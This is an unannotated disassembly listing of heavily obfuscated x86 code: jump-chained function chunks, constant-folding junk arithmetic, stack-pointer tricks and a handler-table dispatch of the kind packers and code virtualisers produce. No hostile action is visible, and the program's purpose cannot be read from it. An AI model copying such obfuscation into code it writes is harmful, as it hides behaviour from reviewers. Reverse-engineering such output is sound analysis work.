		not	ebp
		add	ebp, 0FFFFFFFFh
		shr	ebp, 6
		push	esi
		jmp	loc_58E890
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_58BFA6:				; CODE XREF: sub_592853-10EEj
		push	7B8Bh
		jmp	loc_59736F
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------


loc_58BFB0:				; CODE XREF: sdfs____:0058C9DAj
		mov	ch, 4
		dec	ch
		or	ch, 1
		jmp	loc_592E83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_58BFBC:				; CODE XREF: sub_592853+Cj
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 10h
		jmp	loc_591759
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58BFD0:				; CODE XREF: sub_5917C0+1DD8j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_597E7B
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58BFDB:				; CODE XREF: sdfs____:loc_58C3ABj
		inc	esi
		sub	esi, 1B67AD08h
		sub	eax, esi
		pop	esi
		jmp	loc_592A23
; ---------------------------------------------------------------------------


loc_58BFEA:				; CODE XREF: sdfs____:00597036j
		mov	ax, [esp]
		push	48E9h
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_58D9AD
; ---------------------------------------------------------------------------


loc_58C002:				; CODE XREF: sdfs____:005942CDj
		add	ch, 0BBh
		jmp	loc_58FA55
; ---------------------------------------------------------------------------


loc_58C00A:				; CODE XREF: sdfs____:005969ECj
		mov	edi, 40166B81h
		jmp	loc_5987DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58C014:				; CODE XREF: sub_59841F-20C2j
		mov	[esp+4+var_4], ebx
		push	esp
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		jmp	loc_591423
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58C027:				; CODE XREF: sdfs____:00591AD4j
		add	ebx, 4
		jmp	loc_597FB2
; ---------------------------------------------------------------------------


loc_58C032:				; CODE XREF: sdfs____:00592DD4j
					; sdfs____:00596A43j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 2
		sub	esi, 63254EE0h
		jmp	loc_595E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_58C05E:				; CODE XREF: sdfs____:0059779Ej
					; sub_58FE99:loc_597B84j
		push	ecx
		mov	ecx, 25283AF8h
		and	ecx, 6AA7D6Ah
		push	edx
		mov	edx, 7307077Ch
		jmp	loc_58DBCB
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58C075:				; CODE XREF: sub_5987BC-A963j
		not	edi
		shl	edi, 4
		jmp	loc_597571
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58C07F:				; CODE XREF: sdfs____:005914ADj
		mov	[esp], edx
		jmp	loc_58E449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58C087:				; CODE XREF: sub_591435+8D1j
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		push	[esp+4+var_4]
		pop	esi
		jmp	loc_59842A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_58C095:				; CODE XREF: sub_58EB23+7B6Aj
		pop	edx
		jmp	loc_596DB3
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_58C09B:				; CODE XREF: sdfs____:0058C67Ej
		sub	edx, 30865FA3h
		pop	esi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edx, 3F564214h
		jmp	loc_592880
; ---------------------------------------------------------------------------


loc_58C0C3:				; CODE XREF: sdfs____:00592EF3j
		pop	ebp
		push	2250h
		mov	[esp], edx
		sub	dword ptr [esp], 18C4421Bh
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_595BEE
; ---------------------------------------------------------------------------


loc_58C0E2:				; CODE XREF: sdfs____:00590B07j
		mov	ecx, 2F634A49h
		push	edi
		mov	edi, 20F372E4h
		jmp	loc_5945EE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 65560DC8h
		dec	esi
		inc	esi
		push	ebp
		mov	ebp, 65560DC4h
		jmp	loc_58E3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58C119:				; CODE XREF: sub_5917C0-181Ej
		mov	edx, esp
		jmp	loc_59467D
; ---------------------------------------------------------------------------


loc_58C120:				; CODE XREF: sub_5917C0-FF5j
		mov	edi, 2791773Ch
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 2791773Ch
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		push	edi
		jmp	loc_595710
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58C13E:				; CODE XREF: sdfs____:0059212Ej
		pop	edi
		xchg	eax, [esp]
		pop	esp
		imul	ecx, eax
		jmp	loc_59223A
; ---------------------------------------------------------------------------


loc_58C14B:				; CODE XREF: sdfs____:0058DCC8j
		add	bl, 4Dh
		push	ax
		mov	ah, 0EEh
		xor	bl, ah
		mov	ax, [esp]
		add	esp, 2
		sub	bl, 0DEh
		add	al, bl
		jmp	loc_598338
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		jmp	loc_58F4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58C173:				; CODE XREF: sub_5962EB:loc_5967C4j
		add	ebp, 17822F08h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp-4+arg_0]
		jmp	loc_59388A
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58C186:				; CODE XREF: sdfs____:0059190Fj
		mov	dh, al
		mov	[ecx], dh
		pop	edx
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58C191:				; CODE XREF: sdfs____:005909C6j
		push	2156h
		mov	[esp], edi
		mov	edi, 59D073DEh
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		add	dword ptr [esp], 6A746EA8h
		add	[esp], eax
		push	esi
		mov	esi, 6A746EA8h
		sub	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_58C9B2
; ---------------------------------------------------------------------------


loc_58C1C7:				; CODE XREF: sdfs____:0058EE4Bj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_593169
; ---------------------------------------------------------------------------


loc_58C1D4:				; CODE XREF: sdfs____:0059038Dj
					; sdfs____:00598891j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	7BD9h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_591E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C1F4:				; CODE XREF: sub_594228-532Aj
		and	eax, ebp
		pop	ebp
		jmp	loc_5972D9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58C1FC:				; CODE XREF: sdfs____:00591CB8j
		push	edi
		jmp	loc_597C36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58C202:				; CODE XREF: sub_5941BD+171Bj
		mov	[esp+8+var_8], ebp
		push	esi
		push	24851CFEh
		pop	esi
		sub	esi, 89B6B45h
		neg	esi
		jbe	loc_59711C
		sub	esi, 0D7E93F75h
		mov	ebp, esi
		jmp	loc_58D9D1
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
		pop	edi
		mov	ax, [esp]
		push	1DBFh
		jmp	loc_58E319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58C236:				; CODE XREF: sub_594F18-F89j
		sub	ebp, 0E2D54FA6h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 33DD007Dh
		jmp	loc_58FEB6
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58C24A:				; CODE XREF: sub_5941BD-745Fj
		xor	ecx, 1CD7822h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 16B07DDFh
		push	edx
		mov	edx, 45EE4BC5h
		add	edx, 0DC3315AAh
		add	ebp, 54AD2B2Ah
		add	ebp, edx
		sub	ebp, 54AD2B2Ah
		pop	edx
		push	ebx
		push	eax
		mov	eax, 4CE12C7Ah
		jmp	loc_58C7D0
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58C28C:				; CODE XREF: sdfs____:0058F987j
					; sdfs____:00590BA5j
		mov	[esp], ebx
		jmp	loc_59152B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_58C294:				; CODE XREF: sub_58CDE6:loc_58DFF8j
		not	edi
		xor	edi, 0FD89C43Bh
		jmp	loc_58DF0B
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_58C2A1:				; CODE XREF: sdfs____:0059780Dj
		mov	ebp, 39BC6DE5h
		push	eax
		mov	eax, 7F0C1CAFh
		neg	eax
		shl	eax, 5
		xor	eax, 1B7A49E5h
		jmp	loc_595F61
; ---------------------------------------------------------------------------


loc_58C2BB:				; CODE XREF: sdfs____:0058F446j
		add	eax, edx
		pop	edx
		sub	eax, esi
		push	esi
		mov	esi, 21D9483Ch
		shl	esi, 8
		jmp	loc_58CF26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58C2CE:				; CODE XREF: sub_5985AE-88A9j
		push	edx
		mov	edx, 4DC56057h
		mov	ecx, 5A05BF4Ch
		jmp	loc_593344
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_58C2DE:				; CODE XREF: sdfs____:00590593j
		add	bh, 9
		mov	dl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	al, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	al, bl
		jmp	loc_58D656
; ---------------------------------------------------------------------------


loc_58C2FD:				; CODE XREF: sdfs____:0058C5EEj
		add	edi, 684E7960h
		add	edi, edx
		sub	edi, 684E7960h
		jmp	loc_58CA99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C310:				; CODE XREF: sub_594228-38E6j
		pop	eax
		xor	edx, 1A33A6Fh
		jmp	sub_5920A6
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58C31C:				; CODE XREF: sdfs____:0058ED22j
		jmp	loc_58C84B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58C321:				; CODE XREF: sub_59214E+4726j
		add	esp, 4
		xor	edx, 7EFD60C9h
		jl	loc_595C55
		jmp	loc_58DB1C
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_58C335:				; CODE XREF: sdfs____:0058C394j
		add	edx, ecx
		pop	ecx
		jmp	loc_5980FB
; ---------------------------------------------------------------------------


loc_58C33D:				; CODE XREF: sdfs____:00591557j
		pop	ebx
		add	edi, 4C3A394Bh
		add	edi, 0AEC5B12Fh
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58D5D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58C35E:				; CODE XREF: sub_59587A-7CB4j
		xor	[esp+0], eax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C367:				; CODE XREF: sub_5917C0+4D94j
					; sub_594228+2BCCj
		and	esi, 5F7A5AE0h
		push	ecx
		jmp	loc_58F345
; ---------------------------------------------------------------------------


loc_58C373:				; CODE XREF: sub_594228-6DD0j
		mov	ebx, ebp
		jmp	loc_58D47F
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_58C37A:				; CODE XREF: sub_58DB37+9j
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5912CC
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------


loc_58C387:				; CODE XREF: sdfs____:005931A5j
		push	ecx
		push	0C634331h
		pop	ecx
		sub	ecx, 0C63432Dh
		jmp	loc_58C335
; ---------------------------------------------------------------------------


loc_58C399:				; CODE XREF: sdfs____:0058D8D8j
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_58FAE0
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58C3AB:				; CODE XREF: sdfs____:005949A5j
		jmp	loc_58BFDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58C3B0:				; CODE XREF: sub_591370+2F00j
		shl	bh, 4
		js	loc_59339E
		push	edx
		mov	dl, 0FAh
		push	cx
		mov	ch, dl
		not	ch
		push	eax
		push	ebx
		mov	bl, ch
		mov	ah, bl
		pop	ebx
		mov	dl, ah
		pop	eax
		pop	cx
		xor	dl, 57h
		not	dl
		sub	dl, 0C0h
		or	bh, dl
		pop	edx
		jmp	loc_58E41C
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C3DE:				; CODE XREF: sub_594228-5E7Bj
		push	ecx
		push	36D9h
		mov	[esp+6+var_8+2], esi
		jmp	loc_5930A1
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58C3EC:				; CODE XREF: sub_5BB696-25064j
		push	348E7520h
		jmp	loc_58D630
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58C3F6:				; CODE XREF: sub_59841F-48CDj
		shl	ecx, 4
		jmp	loc_5906C3
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58C3FE:				; CODE XREF: sub_591A46+Ej
					; sub_59587A-30D7j
		push	298Eh
		mov	[esp+6+var_8+2], edi
		mov	edi, 69B91BE0h
		add	edi, 26FC5E57h
		shr	edi, 1
		jmp	loc_593DE7
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58C418:				; CODE XREF: sub_591435+6B25j
		add	esp, 4
		jmp	loc_590C75
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58C420:				; CODE XREF: sdfs____:0058C719j
					; sdfs____:0059846Cj
		jmp	loc_5947AD
; ---------------------------------------------------------------------------


loc_58C425:				; CODE XREF: sdfs____:00597A3Dj
		push	ecx
		mov	ch, dh
		mov	bl, ch
		jmp	loc_58ECED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58C42F:				; CODE XREF: sub_5987BC-781Aj
		pop	edi
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		jmp	loc_5955B1
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58C43E:				; CODE XREF: sdfs____:00590D40j
					; sdfs____:00597C78j
		push	edi
		push	edx
		mov	edx, 1BCA76E5h
		push	edi
		mov	edi, 6DB2977h
		add	edx, edi
		pop	edi
		shr	edx, 1
		dec	edx
		dec	edx
		xor	edx, 351DACCBh
		mov	edi, edx
		pop	edx
		jmp	loc_596487
; ---------------------------------------------------------------------------


loc_58C460:				; CODE XREF: sdfs____:005966A6j
		push	edi
		mov	edi, 4
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		jmp	loc_58F289
; ---------------------------------------------------------------------------


loc_58C475:				; CODE XREF: sdfs____:00590554j
		pop	ecx
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E058
; ---------------------------------------------------------------------------


loc_58C484:				; CODE XREF: sdfs____:00593228j
		sub	eax, 449F5F75h
		sub	eax, 53A4692Bh
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5B1352DBh
		push	4381h
		mov	[esp], esi
		push	ecx
		jmp	loc_590083
; ---------------------------------------------------------------------------


loc_58C4AB:				; CODE XREF: sdfs____:0059649Cj
		pop	edi
		add	ecx, eax
		sub	ecx, 57BC6742h
		jmp	loc_5972FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58C4B9:				; CODE XREF: sub_59587A-DE2j
		sub	eax, 725E46A3h
		push	esi
		mov	esi, 3B62B0Eh
		sub	eax, esi
		pop	esi
		pop	edx
		push	esi
		mov	esi, 248079C7h
		add	edx, esi
		jmp	loc_59170D
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_58C4D5:				; CODE XREF: sdfs____:00591C3Dj
					; sdfs____:0059748Ej
		add	ebx, 0DCEAAA9Fh
		jmp	loc_594919
; ---------------------------------------------------------------------------


loc_58C4E0:				; CODE XREF: sdfs____:0059526Bj
		sub	esp, 4
		jmp	loc_59018F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58C4EB:				; CODE XREF: sdfs____:0058E871j
					; sub_591370+23BBj
		pop	edi
		inc	ebp
		add	ebp, 6B184E0Eh
		xor	ebp, 65E21C1Eh
		sub	esi, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		xor	esi, 602DEE39h
		add	ecx, esi
		pop	esi
		sub	ecx, 4876269h
		shr	ecx, 5
		push	edx
		mov	edx, 59E87C41h
		dec	edx
		xor	edx, 0EAECCF44h
		jmp	loc_58FFE7
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58C528:				; CODE XREF: sdfs____:00592AF6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 74852B1Ch
		jmp	loc_59025F
; ---------------------------------------------------------------------------


loc_58C53B:				; CODE XREF: sdfs____:00592EE3j
		pop	ebx
		add	eax, ecx
		pop	ecx
		sub	eax, 1464A3Bh
		jmp	loc_59162E
; ---------------------------------------------------------------------------


loc_58C549:				; CODE XREF: sdfs____:0058F65Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58C558:				; CODE XREF: sdfs____:00593EBDj
		push	eax
		push	edx
		mov	edx, 78721F86h
		jmp	loc_590E3F
; ---------------------------------------------------------------------------


loc_58C564:				; CODE XREF: sdfs____:0058E1E5j
		pop	edx
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 377C16B6h
		push	ecx
		mov	ecx, 23395365h
		jmp	loc_59129D
; ---------------------------------------------------------------------------


loc_58C579:				; CODE XREF: sdfs____:00595F62j
		add	eax, 1DA944A6h
		push	ebx
		mov	ebx, 1CA79C1h
		add	ebx, 57C92428h
		xor	ebx, 7A2B7D52h
		jmp	loc_5957C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C595:				; CODE XREF: sub_594228-4BEDj
		push	eax
		mov	eax, esp
		push	edx
		push	edi
		mov	edi, 1B922D22h
		add	edi, 1E6C7B02h
		jo	loc_592FBB
		inc	edi
		js	loc_58F30E
		push	edx
		jmp	loc_58FBF1
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_58C5B8:				; CODE XREF: sub_59369D+169Ej
		pop	ebx
		pop	ebp
		jmp	loc_5921AF
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------


loc_58C5BF:				; CODE XREF: sdfs____:00594421j
		pop	ebx
		jmp	loc_595BA1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	321h
		mov	[esp], edi
		push	edx
		mov	edx, 2172250Dh
		mov	edi, 0DE8DDAF5h
		push	eax
		mov	eax, 479D77C8h
		add	edi, eax
		pop	eax
		jmp	loc_58C2FD
; ---------------------------------------------------------------------------


loc_58C5F3:				; CODE XREF: sdfs____:loc_598DDEj
		not	edi
		shr	edi, 3
		jp	loc_597835
		jmp	loc_597088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58C603:				; CODE XREF: sub_5987BC-1F17j
		mov	esi, eax
		pop	eax
		sub	esi, 0FD6BC6C9h
		not	esi
		jmp	loc_59897C
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58C613:				; CODE XREF: sub_59214E-4631j
		not	edx
		inc	edx
		xor	edx, 8189BB91h
		jmp	loc_5938DB
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58C621:				; CODE XREF: sub_598A21-404Dj
		mov	ecx, [esp-4+arg_0]
		jmp	loc_593F82
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58C629:				; CODE XREF: sub_5962EB-853Ej
		jmp	loc_59252F
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58C62E:				; CODE XREF: sub_59841F:loc_59792Dj
		xor	edi, 9441CAA7h
		mov	esi, edi
		pop	edi
		jmp	sub_591AD9
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58C63C:				; CODE XREF: sdfs____:00592E88j
		pop	ecx
		shl	dh, 8
		shl	dh, 1
		xor	dh, 7
		add	al, dh
		pop	edx
		jmp	loc_59546F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5976B0


loc_58C64D:				; CODE XREF: sub_5976B0+1Dj
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_5976B0
; ---------------------------------------------------------------------------
		jmp	loc_58EABF
; ---------------------------------------------------------------------------


loc_58C659:				; CODE XREF: sdfs____:0059302Bj
		push	ebp
		jmp	loc_59029B
; ---------------------------------------------------------------------------


loc_58C65F:				; CODE XREF: sdfs____:0058F992j
		mov	esi, 21776E33h
		push	edi
		mov	edi, 65CB7378h
		shr	edi, 2
		add	edi, 7BD3942h
		xor	esi, edi
		pop	edi
		add	edx, 30865FA3h
		add	edx, esi
		jmp	loc_58C09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58C683:				; CODE XREF: sub_591370+6CAAj
		sub	al, 31h
		add	ch, al
		jmp	loc_5963B6
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58C68C:				; CODE XREF: sdfs____:00598057j
		neg	esi
		jmp	loc_598A58
; ---------------------------------------------------------------------------


loc_58C693:				; CODE XREF: sdfs____:0058CED2j
		push	397149E5h
		pop	esi
		xor	esi, 507353CEh
		and	esi, 6A041907h
		neg	esi
		xor	esi, 6CC15618h
		mov	eax, esi
		pop	esi
		jmp	loc_58DFEB
; ---------------------------------------------------------------------------


loc_58C6B5:				; CODE XREF: sdfs____:00596C9Dj
		jmp	loc_58D4CA
; ---------------------------------------------------------------------------


loc_58C6BA:				; CODE XREF: sdfs____:0058EA7Cj
		mov	ebp, 48517C5Dh
		add	eax, 23E36FCh
		add	eax, 6A4468D4h
		sub	eax, ebp
		sub	eax, 6A4468D4h
		push	edi
		push	24h
		jmp	loc_596375
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58C6DB:				; CODE XREF: sub_59576E-3F6Cj
		mov	ax, di
		mov	edi, [esp+0]
		add	esp, 4
		sub	bx, 3ADBh
		sub	bx, ax
		add	bx, 3ADBh
		mov	ax, word ptr [esp-4+arg_0]
		jmp	loc_590E32
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_58C6FD:				; CODE XREF: sdfs____:005949BDj
		mov	[esp], esi
		jmp	loc_58E718
; ---------------------------------------------------------------------------


loc_58C705:				; CODE XREF: sdfs____:0058F01Ej
		xor	dl, 8Dh
		add	dl, 0CDh
		ja	loc_59209F
		not	dl
		jmp	loc_596A59
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_58C420

; =============== S U B	R O U T	I N E =======================================



sub_58C71E	proc near		; CODE XREF: sdfs____:loc_58DFE6j
					; sub_591370-28ABj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590EC5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00597234 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597F9C SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		sub	esp, 4
		jmp	loc_597234
sub_58C71E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58C734:				; CODE XREF: sub_59841F+6j
		shr	ebx, 6
		neg	ebx
		or	ebx, 28954C10h
		jmp	loc_590631
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58C744:				; CODE XREF: sub_5987BC-43D8j
		sub	edi, 1F1084D7h
		add	ebp, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_595643
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C754:				; CODE XREF: sub_594228-272Dj
		add	eax, 4
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		xor	eax, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		push	[esp+16h+var_18+2]
		push	[esp+1Ah+var_1C+2]
		pop	eax
		push	649Fh
		jmp	loc_58C900
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592F43


loc_58C774:				; CODE XREF: sub_592F43+993j
		mov	[esp+0], ecx
		mov	ecx, 744C6905h
		jmp	sub_58FA0A
; END OF FUNCTION CHUNK	FOR sub_592F43
; ---------------------------------------------------------------------------


loc_58C781:				; CODE XREF: sdfs____:00590521j
		jmp	loc_5948F1
; ---------------------------------------------------------------------------


loc_58C786:				; CODE XREF: sdfs____:00596CDFj
		xor	ebx, 56504083h
		xor	ebx, 4EBE9EEEh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 179D79A0h
		add	ebx, 428504B5h
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		dec	ebx
		neg	ebx
		jmp	loc_58BED7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596D34


loc_58C7B2:				; CODE XREF: sub_596D34+3j
		mov	[esp+0], ecx
		jmp	loc_5968F8
; END OF FUNCTION CHUNK	FOR sub_596D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58C7BA:				; CODE XREF: sub_5941BD-435Bj
		shl	esi, 3
		or	esi, 5E3B5D4Ah
		inc	esi
		sub	esi, 0AA70C90h
		push	edx
		jmp	loc_58CEF0
; ---------------------------------------------------------------------------


loc_58C7D0:				; CODE XREF: sub_5941BD-7F36j
		xor	eax, 36A96051h
		jmp	loc_598B36
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58C7DA:				; CODE XREF: sub_591435-CF5j
		mov	cx, word ptr [esp+6+var_8+2]
		add	esp, 2
		push	[esp+2+var_4+2]
		pop	eax
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58C9C2
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58C7F6:				; CODE XREF: sub_5941BD-11DAj
		inc	ebx
		jmp	loc_5910CE
